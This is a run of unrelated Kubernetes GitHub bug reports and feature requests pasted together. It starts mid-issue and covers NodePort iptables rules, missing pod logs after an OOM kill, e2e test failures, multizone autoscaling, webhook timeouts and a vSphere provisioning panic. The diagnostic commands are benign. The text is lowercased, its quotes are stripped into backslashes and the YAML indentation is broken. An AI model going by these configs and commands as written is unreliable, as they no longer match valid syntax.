milliseconds\r    \r successfully downloaded from knode-1:31699\r    \r $ curl -m 2 -o http://knode-1:31699/ /workload?namespace=default\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100   811  100   811    0     0  18097      0 --:--:-- --:--:-- --:--:-- 18431\r    \r \r     iptables    :\r \r _from knode-1  nodeport 31699 accessible :_\r    \r $ sudo iptables-save | grep dashboard\r -a kube-nodeports -p tcp -m comment --comment \ kube-system/kubernetes-dashboard:\  -m tcp --dport 31699 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ kube-system/kubernetes-dashboard:\  -m tcp --dport 31699 -j kube-svc-xgloha7qrq3v22rz\r -a kube-sep-4cn2kll64aimjouc -s 192.168.92.6/32 -m comment --comment \ kube-system/kubernetes-dashboard:\  -j kube-mark-masq\r -a kube-sep-4cn2kll64aimjouc -p tcp -m comment --comment \ kube-system/kubernetes-dashboard:\  -m tcp -j dnat --to-destination 192.168.92.6:9090\r -a kube-services -d 10.110.163.186/32 -p tcp -m comment --comment \ kube-system/kubernetes-dashboard: cluster ip\  -m tcp --dport 80 -j kube-svc-xgloha7qrq3v22rz\r -a kube-svc-xgloha7qrq3v22rz -m comment --comment \ kube-system/kubernetes-dashboard:\  -j kube-sep-4cn2kll64aimjouc\r    \r _from knode-0  nodeport 31699 inaccessible  :_\r    \r $ sudo iptables-save | grep dashboard\r -a kube-nodeports -p tcp -m comment --comment \ kube-system/kubernetes-dashboard:\  -m tcp --dport 31699 -j kube-mark-masq\r -a kube-nodeports -p tcp -m comment --comment \ kube-system/kubernetes-dashboard:\  -m tcp --dport 31699 -j kube-svc-xgloha7qrq3v22rz\r -a kube-sep-4cn2kll64aimjouc -s 192.168.92.6/32 -m comment --comment \ kube-system/kubernetes-dashboard:\  -j kube-mark-masq\r -a kube-sep-4cn2kll64aimjouc -p tcp -m comment --comment \ kube-system/kubernetes-dashboard:\  -m tcp -j dnat --to-destination 192.168.92.6:9090\r -a kube-services -d 10.110.163.186/32 -p tcp -m comment --comment \ kube-system/kubernetes-dashboard: cluster ip\  -m tcp --dport 80 -j kube-svc-xgloha7qrq3v22rz\r -a kube-svc-xgloha7qrq3v22rz -m comment --comment \ kube-system/kubernetes-dashboard:\  -j kube-sep-4cn2kll64aimjouc\r    \r   anything else we need to know  :\r \r the same behavior is reproducible on rhel 7.3.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  \ failed to open log file\    \ /var/log/pods\  \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t23:29:08z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3+coreos.0\ , gitcommit:\ 70bc0937018d89b0d529d428eed8c444d8e7729a\ , gittreestate:\ clean\ , builddate:\ 2017-05-11t18:15:57z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : container linux by coreos 1353.7.0  ladybug \r -   kernel    e.g.  uname -a  :  linux 4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2670 v2 @ 2.50ghz genuineintel gnu/linux \r -   install tools  : kube-aws\r -   others  :\r \r \r   what happened  :\r \r after observing one of my pods restarted, i was trying to diagnose what happened when i ran  kubectl -n <ns> logs <pod name> -c <container name> , which gave the following output:\r \r    \r $ kubectl -n kube-system logs estranged-anaconda-prometheus-server-2221453258-x1vk5 -c prometheus-server\r failed to open log file \ /var/log/pods/30aae155-39cb-11e7-97d7-024e1e23286b/prometheus-server_1.log\ : open /var/log/pods/30aae155-39cb-11e7-97d7-024e1e23286b/prometheus-server_1.log: no such file or directory\r    \r \r i could retrieve the previous container's logs with the  --previous  flag though:\r \r    \r $ kubectl -n kube-system logs --previous estranged-anaconda-prometheus-server-2221453258-x1vk5 -c prometheus-server\r   lots of logs...\r time=\ 2017-05-16t19:38:35z\  level=info msg=\ done checkpointing in-memory metrics and chunks in 13.760728705s.\  source=\ persistence.go:639\ \r time=\ 2017-05-16t19:43:35z\  level=info msg=\ checkpointing in-memory metrics and chunks...\  source=\ persistence.go:612\ \r time=\ 2017-05-16t19:44:03z\  level=info msg=\ done checkpointing in-memory metrics and chunks in 27.371760948s.\  source=\ persistence.go:639\ \r time=\ 2017-05-16t19:44:24z\  level=error msg=\ error sending alerts: context deadline exceeded\  alertmanager=\ http://estranged-anaconda-prometheus-alertmanager:80/api/v1/alerts\  count=1 source=\ notifier.go:335\ \r    \r \r i logged into the instance via ssh and verified the file  prometheus-server-log_1.log  was not there.\r \r what i saw, though, was that there was a  prometheus-server-log_0.log   with the zero  sitting in that directory that pointed to the logs of the previous dead container:\r \r    \r $ sudo ls -alh /var/log/pods/30aae155-39cb-11e7-97d7-024e1e23286b/prometheus-server_0.log\r lrwxrwxrwx. 1 root root 165 may 16 00:10 /var/log/pods/30aae155-39cb-11e7-97d7-024e1e23286b/prometheus-server_0.log -> /var/lib/docker/containers/1dbad7b380f60644dd471b8c2e2f9b193d819505f2e18819e4be8586575d5109/1dbad7b380f60644dd471b8c2e2f9b193d819505f2e18819e4be8586575d5109-json.log\r \r $ docker ps -a\r container id        image                                                                                                                                    command                  created             status                        ports               names\r 55d8e7e00878        prom/prometheus@sha256:e049c086e35c0426389cd2450ef193f6c18b3d0065b97e5f203fdb254716fa1c                                                  \ /bin/prometheus --al\    33 minutes ago      up 31 minutes                                     k8s_prometheus-server_estranged-anaconda-prometheus-server-2221453258-x1vk5_kube-system_30aae155-39cb-11e7-97d7-024e1e23286b_1\r 1dbad7b380f6        prom/prometheus@sha256:e049c086e35c0426389cd2450ef193f6c18b3d0065b97e5f203fdb254716fa1c                                                  \ /bin/prometheus --al\    20 hours ago        exited  137  33 minutes ago                       k8s_prometheus-server_estranged-anaconda-prometheus-server-2221453258-x1vk5_kube-system_30aae155-39cb-11e7-97d7-024e1e23286b_0\r    \r \r i also saw that the symlink in  /var/log/containers  pointed to the killed container logs, and not the new container logs:\r \r    \r $ ls /var/log/containers\r   ...\r estranged-anaconda-prometheus-server-2221453258-x1vk5_kube-system_prometheus-server-1dbad7b380f60644dd471b8c2e2f9b193d819505f2e18819e4be8586575d5109.log\r    \r \r i could see the logs of the new container by running  docker logs <new container id> , and verified that these logs were being written correctly to  /var/lib/docker/containers/<new container id> .\r \r   what you expected to happen  :\r \r i expected  kubectl logs  command to retrieve the logs of the running container.\r \r i also expected the kubelet to only keep symlinks to running containers in  /var/lib/docker/containers/<container id> .\r \r   how to reproduce it    as minimally and precisely as possible :\r \r i haven't been able to reproduce this issue, as i tried retrieving the logs of other pods that restarted, without any similar issues.\r \r   anything else we need to know  :\r \r when looking at the pod directly, i noticed the pod was terminated with reason  error :\r \r    \r     last state:         terminated\r       reason:           error\r       exit code:        137\r       started:          mon, 01 jan 0001 00:00:00 +0000\r       finished:         tue, 16 may 2017 16:45:22 -0300\r    \r \r  the \ started\  date seems odd as well... \r \r according to dmesg, the container process was reaped by the kernel oom killer:\r \r    \r $ dmesg -t | grep prometheus\r  tue may 16 19:45:20 2017  prometheus invoked oom-killer: gfp_mask=0x24201ca gfp_highuser_movable|__gfp_cold , nodemask=0, order=0, oom_score_adj=179\r  tue may 16 19:45:20 2017  prometheus cpuset=1dbad7b380f60644dd471b8c2e2f9b193d819505f2e18819e4be8586575d5109 mems_allowed=0\r  tue may 16 19:45:20 2017  cpu: 1 pid: 20234 comm: prometheus not tainted 4.9.24-coreos  1\r  tue may 16 19:45:20 2017   15192      0 15192  1679458  1648518    3283      11        0           179 prometheus\r  tue may 16 19:45:20 2017  out of memory: kill process 15192  prometheus  score 1041 or sacrifice child\r  tue may 16 19:45:20 2017  killed process 15192  prometheus  total-vm:6717832kb, anon-rss:6594072kb, file-rss:0kb, shmem-rss:0kb\r  tue may 16 19:45:21 2017  oom_reaper: reaped process 15192  prometheus , now anon-rss:0kb, file-rss:4kb, shmem-rss:0kb\r    \r \r maybe this could be a clue as to why this happened.

failure cluster  8342f57f69e79ef9fef9  https://go.k8s.io/triage 8342f57f69e79ef9fef9        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_provisioning.go:449 expected error:     < errors.errorstring | 0xc42022bd30>: {         s: \ disk is not found\ ,     }     disk is not found not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/volume_provisioning.go:121           failure cluster statistics: 2 tests failed,    2 jobs failed,    64 builds failed. failure stats cover 1 day time range '21 sep 2017 19:56 utc' to '22 sep 2017 19:56 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-storage  dynamic provisioning dynamicprovisioner should provision storage with non-default reclaim policy retain | 2 | |  sig-storage  dynamic provisioning dynamicprovisioner should provision storage with mount options | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-multizone | 32 |  22 sep 2017 17:52 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-multizone/16590  | | ci-kubernetes-e2e-gci-gke-multizone | 32 |  22 sep 2017 16:58 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-multizone/15058  |   current status  https://go.k8s.io/triage 8342f57f69e79ef9fef9

  i've create a deployment and a service archiva app  and deployed them using kubernetes , that stuck in containercreating and log is : \r error from server  badrequest : container \ archiva\  in pod \ archiva-deploy-868271406-p7v7q\  is waiting to start: containercreating

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   wants to confirm bug or issue in configuration  :\r \r trying to create multizone cluster with autoscaling. i am able to create multizone cluster and second managed instance group instance added to the master and works fine until that.\r \r when load increases kube-control-manager spinning up nodes only in first zone, it is not multizone autoscaling, it seems...\r \r what could be the issue? is this a bug?\r \r   what happened  :\r cluster autoscaling not working on multizone..\r \r   what you expected to happen  :\r cluster autoscaling in multiple zones. it not scaling on second zone.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r using following command :\r \r multizone=true kubernetes_provider=gce kube_gce_zone=europe-west1-b  enable_etcd_quorum_reads=true enable_cluster_autoscaler=true autoscaler_min_nodes=1 autoscaler_max_nodes=4 num_nodes=1 ./kube-up.sh\r \r ==> using enable_etcd_quorum_reads to enable ha master which is not required,\r \r kube_use_existing_master=true multizone=true kubernetes_provider=gce kube_gce_zone=europe-west1-c num_nodes=1 enable_cluster_autoscaler=true autoscaler_min_nodes=1 autoscaler_max_nodes=4 num_nodes=1 ./kube-up.sh\r \r ==> it creates 2 mig and works well, checked with scaling pods and pods are being scaled in second zone node.\r \r ==> but when scale pods over 20 it needs more nodes to handle so it started scaling,\r \r but did not scale in second zone, only scale 4 nodes in first zone.. also checked with 10 nodes and 100 pods. still same issue\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : container-optimized os\r - kernel  e.g.  uname -a  :linux kubernetes-master 4.4.64+  1 smp wed aug 30 20:27:36 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.60ghz genuineintel gnu/linux\r - install tools:\r - others:\r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r fsgroup tests are flaking 1-2 times a day: https://k8s-testgrid.appspot.com/sig-storage gce\r \r some test logs:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/25834\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/25900\r

currently, when audit logging is configured at the  metadata  level only a superset of the object data is being logged in the  objectreference  https://github.com/kubernetes/apiserver/blob/master/pkg/apis/audit/v1beta1/types.go l263 . in order to determine things like attribution  i.e. a deployment deletion caused pod deletion , the object's metadata needs to be examined to trace the cause/effect. that data can currently be found in the  requestresponse  level in raw json form, but often that level needs to be restricted to not log sensitive data. this leaves an incomplete audit trail around a subset of the api objects. \r \r an object's metadata is intentionally separated from the object itself and contains relevant information for a complete audit story. logging at the metadata level seems to already entail this data would be present. this issue proposes adding an  ownerreferences  field to the existing  objectreference  https://github.com/kubernetes/apiserver/blob/master/pkg/apis/audit/v1beta1/types.go l263  struct.\r \r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r tried to use podantiaffinity in a statefulset, but some pods were scheduled onto the same kubernetes node if the number of available nodes was less than the number of replicas in the statefulset. in this example web-node-1 was down  kubelet service was stopped on purpose .\r \r    \r   kubectl get pods -o wide | grep web\r web-0                                                1/1     running                           0          11m    <none>          web-node-2     <none>\r web-1                                                1/1     running                           0          11m    <none>          web-node-0     <none>\r web-2                                                0/1     crashloopbackoff                  9          11m    <none>          web-node-2     <none>\r    \r \r   what you expected to happen  :\r pods are in pending state until there are enough nodes to schedule them.\r \r   how to reproduce it  as minimally and precisely as possible   :\r temporarily stop kubelet service on some nodes so that the number of available nodes is less than the number of replicas in the statefulset. then try to deploy a statefulset with \ podantiaffinity\  configured as seen below.\r \r   anything else we need to know?  :\r \r    \r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: web\r spec:\r   servicename: \ nginx\ \r   replicas: 3\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: app\r                 operator: in\r                 values:\r                 - nginx\r             topologykey: kubernetes.io/hostname\r       nodeselector:\r         nodetype: web\r       containers:\r       - name: nginx\r         image: k8s.gcr.io/nginx-slim:0.8\r         ports:\r         - containerport: 80\r           name: web\r         volumemounts:\r         - name: www\r           mountpath: /usr/share/nginx/html\r   volumeclaimtemplates:\r   - metadata:\r       name: www\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 1gi\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ archive\ , builddate:\ 2018-10-18t09:03:52z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ archive\ , builddate:\ 2018-10-08t12:08:58z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r private openstack cloud, 2-core, 8 gb ram, 40 gb storage\r \r - os  e.g. from /etc/os-release :\r name=\ red hat enterprise linux server\ \r version=\ 7.6  maipo \ \r \r - kernel  e.g.  uname -a  :\r linux web-node-0 .el7.elrepo.x86_64  1 smp sat oct 20 11:33:06 edt 2018 x86_64 x86_64 x86_64 \r \r gnu/linux\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

currently when resize fails of a volume it keeps retrying indefinitely. this leads to two problems:\r \r 1. unnecessary api usage for an action that is not going to succeed  for example when you are out of quota on cloud provider or out of bricks on glusterfs .\r \r 2. sometimes user may want to retry volume expansion with lower value. for example - my current pvc is of 12gb and i tried to expand it to 40gb. but that failed. now i want to retry volume expansion with 20gb except i can’t.\r \r \r  \r cc @bswartz @saad-ali

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r apiserver always display\r    \r mar 12 20:26:00 l-xxx kube-apiserver 8366 : w0312 20:26:00.868168    8366 dispatcher.go:67  failed calling webhook, failing open validate.ops.xx.com: failed calling webhook \ validate.ops.xx.com\ : post https://kube-validate-controller-service.kube-system.svc:443/?timeout=30s: dial tcp 10.254.76.42:443: connect: connection timed out\r mar 12 20:26:00 l-xxx kube-apiserver 8366 : e0312 20:26:00.868205    8366 dispatcher.go:68  failed calling webhook \ validate.ops.xx.com\ : post https://kube-validate-controller-service.kube-system.svc:443/?timeout=30s: dial tcp 10.254.76.42:443: connect: connection timed out\r    \r 10.254.76.42 is the address of the webhook service.\r \r \r   what you expected to happen  :\r apiserver can connect webhook server\r \r   anything else we need to know?  :\r 1:i can successful connect this port in the container. but in the host i can't. my apiserver is running on the host, not in the container\r 2: i run the kube-proxy in the host of apiserver but it still not work.\r 3: my kube-proxy is running with \ ipvs\  mode.\r 4: i add the mutatingadmissionwebhook,validatingadmissionwebhook option in the--enable-admission.\r here is my kube-proxy parameter:\r    \r /opt/kubernetes/bin/kube-proxy \\\r --bind-address=10.95.149.6 \\\r --hostname-override=l-xxx \\\r --kubeconfig=/etc/kubernetes/kube-proxy.kubeconfig \\\r --logtostderr=false \\\r --log-dir=/home/q/kubernetes/logs/ \\\r --cluster-cidr=10.95.224.0/20 \\\r --ipvs-min-sync-period=0s \\\r --ipvs-scheduler=rr \\\r --ipvs-sync-period=30s \\\r --proxy-mode=ipvs\r    \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13\r

we may want to let users create services, but not let them use all the possible options. - often we might not want a user to be allowed to pick servicetype = nodeport because this consumes global resources. - possibly we might not want a user to be allowed to pick servicetype = loadbalancer, since this exposes services outside the cluster. - possibly user-specified portalip is needs restriction too?  for pods we have a proposal to make a securityconstraint that controls some security sensitive fields which are grouped into a securitycontext.    does this pattern apply to service as well in some way?   sometimes we want to let a principal create pods, but not allow them to use all the possible options on pods.  one way we are looking at doing this is to group some sensitive options

i have been trying to a run a very basic container based on ubuntu:14.04 that simply echos 'hello world'. but when i run the kubelet with most of the default options i get this error message:   failed to create pod infra container: image pull failed for gcr.io/google_containers/pause:0.8.0, this may be because there are no credentials on this request   if gcr.io requires credentials how can i point it to use docker hub, or more preferably, a local registry? i tried using the --pod-infra-container-image option but it does not seems to work.

when updating 2 different secure mode clusters  one at 1.2alpha7 and one at 1.1.3  both clusters had all the nodes go into  notready  after the  kube-apiserver  updated and restarted.   kubelet  log's at the time look something like:      kubelet: w0224 13:32:24.279554   32061 manager.go:402  failed to update status for pod \ _  \ : the server does not allow access to the requested resource  put pods loadbalancer-kif76  kubelet: e0224 13:32:24.554102   32061 kubelet.go:2650  error updating node status, will retry: error getting node \ kubelet01\ : the server does not allow access to the requested resource  get nodes kubelet01       nothing stood out in the  kube-apiserver  logs. after downgrading the  kube-apiserver  back to  1.1.3  the  1.2alpha8  kubelet was able to update everything and the node returned to  ready  state.

concerns raised in related meeting.  capturing this here so we can develop ideas and work toward a conclusion on it.  aaron c: the label management for cherry picks is very frustrating for folks without write access to github. one idea would be to separate out the github issues into a separate repository from the code so that we can give broader access to edit / assign / add labels to issues  brendan b: github’s acl model sucks. we should also clearly document the state machine for which labels we expect for cherry picks so that it’s clear to users where they are in the process.  brendan b: another idea is to write a simple app engine app that allows folks to put labels onto their own prs to help make this process easier. prs welcome.   cc @spiffxp @brendandburns @roberthbailey

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/15451/  failed:  k8s.io  dns should provide dns for externalname services {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:501 expected error:     < errors.errorstring | 0xc8204765f0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:265

is this a bug report or feature request?    choose one : feature request    kubernetes version    use  kubectl version  : master    description    :  when working on  15834 , the proposed solution is to use  fieldselector  instead of resource url. and after go through the code, there's also a  todo  in helper::list to support  fieldselector . the purpose of this issue is to make helper::list support  fieldselector , and then   15834 can re-use it directly.

when i test petset, i want to deploy two petset whih one service. my file is\r service.yaml\r    yaml\r apiversion: v1\r kind: service\r metadata:\r     name: ambari-cluster  \r   namespace: bigdata\r   labels:\r     app: ambari-cluster\r spec:\r   type: nodeport\r   clusterip: none\r   ports:\r - name: web\r   port: 8080\r   targetport: 8080\r   nodeport: 31175\r - name: agent\r   port: 8440\r   targetport: 8440\r - name: https\r   port: 8441\r   targetport: 8441\r   selector:\r     app: ambari-cluster\r    \r petset1.yaml\r    yaml\r apiversion: apps/v1alpha1\r kind: petset\r metadata:\r   name: ambari-master\r   namespace: bigdata\r spec:\r     servicename: \ ambari-cluster\   \r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: ambari-master\r       annotations:\r         pod.alpha.kubernetes.io/initialized: \ true\ \r     spec:\r       terminationgraceperiodseconds: 0\r       containers:\r       - name: ambari-master\r         image: 10.110.17.138:5000/iop/ambari-server:v2.0\r         imagepullpolicy: always\r         command:\r            - /usr/local/bin/start.sh\r         ports:\r         - name: web\r           containerport: 8080\r           protocol: tcp\r         - name: agent\r           containerport: 8440\r           protocol: tcp\r         - name: https\r           containerport: 8441\r           protocol: tcp\r         securitycontext:\r           privileged: true\r    \r petset2.yaml:\r    yaml\r apiversion: apps/v1alpha1\r kind: petset\r metadata:\r   name: ambari-agent\r spec:\r     servicename: \ ambari-cluster\   \r   replicas: 5\r   template:\r     metadata:\r       labels:\r         app: ambari-agent\r       annotations:\r         pod.alpha.kubernetes.io/initialized: \ true\ \r     spec:\r       terminationgraceperiodseconds: 0\r       containers:\r       - name: ambari-agent\r         image: 10.110.17.138:5000/iop/ambari-agent:v2.0\r         imagepullpolicy: always\r         command:\r            - /usr/local/bin/start.sh\r         securitycontext:\r           privileged: true\r    \r after i create petset1 and petset2. i can only create one petset. is there any method that we can create two petset with the same service?\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-reboot-release-1.4/1856/  failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all outbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:134 nov  4 05:38:40.327: all nodes should be ready after test, not ready nodes:  &typemeta{kind:,apiversion:,}  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:418       previous issues for this test:  33703

various volume plugins of kubernetes can do various things:\r \r 1. some supports mount options, some don't.\r 2. some are attachable, some aren't\r 3. some require mounts and some don't\r 4. some will support snapshots and some don't.\r 5. ...\r \r \r our current approach is to define these capabilities via functions defined in  volumeplugin  or  attacher  or  mounter  or any of those interface. this has few problems:\r \r 1. i think it is not very scalable. for example, just to support mountoptions, i had to add a function in 20 or so files. and all this function anyways does is - returns true or false. this creates needless coding churn during rebase and other chnages.\r \r 2. sometimes - you can't find capability of a plugin without initializing it. and there are various \ statges\  of initializion. just initializing  volumeplugin  concrete implementation is not enough to find capabilities of a plugin. sometimes the capability can be hidden behind attacher or mounter interfaces.  i think it is valuable that, we should be able to find out capabilities of a plugin as easily as possible. if possible, without making remote api calls  note -  volumeplugin  initialization doesn't involve remote api call but  attacher  or other interface initializtion might . \r \r cc @kubernetes/sig-storage-api-reviews @saad-ali \r \r \r

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r vsphere, volumes, invalid memory address or nil pointer dereference\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-17t20:49:14z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r vsphere \r -   os    e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r -   kernel    e.g.  uname -a  :\r linux centos73x64.cg.internal 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r kismatic\r -   others  :\r \r \r   what happened  :\r i tried to provision a volume using a storage class using the  vsphere examples  https://github.com/kubernetes/kubernetes/tree/master/examples/volumes/vsphere volumes \r \r 1. created the storage class:\r    \r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: fast\r provisioner: kubernetes.io/vsphere-volume\r parameters:\r     diskformat: zeroedthick\r    \r \r 2. created the pvc\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: pvcsc001\r   annotations:\r     volume.beta.kubernetes.io/storage-class: fast\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 2gi\r    \r the volume was created in vsphere. \r \r the pvc stayed pending and the following error was produced by the controller manager:\r \r    \r e0321 13:35:04.574218       1 goroutinemap.go:164  operation for \ provision-default/pvcsc001 965028ea-0e36-11e7-bc7e-0050568b8bbe \  failed. no retries permitted until 2017-03-21 13:37:04.574155789 +0000 utc  durationbeforeretry 2m0s . error: recovered from panic \ runtime error: invalid memory address or nil pointer dereference\ .  err=<nil>  call stack:\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:153\r /usr/local/go/src/runtime/asm_amd64.s:479\r /usr/local/go/src/runtime/panic.go:458\r /usr/local/go/src/runtime/panic.go:62\r /usr/local/go/src/runtime/sigpanic_unix.go:24\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/vmware/govmomi/task/wait.go:73\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/vmware/govmomi/task/wait.go:120\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/vmware/govmomi/property/wait.go:140\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/vmware/govmomi/property/wait.go:67\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/vmware/govmomi/task/wait.go:120\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/vmware/govmomi/object/task.go:51\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/vmware/govmomi/object/task.go:45\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/vsphere/vsphere.go:1252\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/vsphere_volume/vsphere_volume_util.go:88\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/vsphere_volume/vsphere_volume.go:337\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/persistentvolume/pv_controller.go:1302\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/persistentvolume/pv_controller.go:1204\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/goroutinemap/goroutinemap.go:128\r 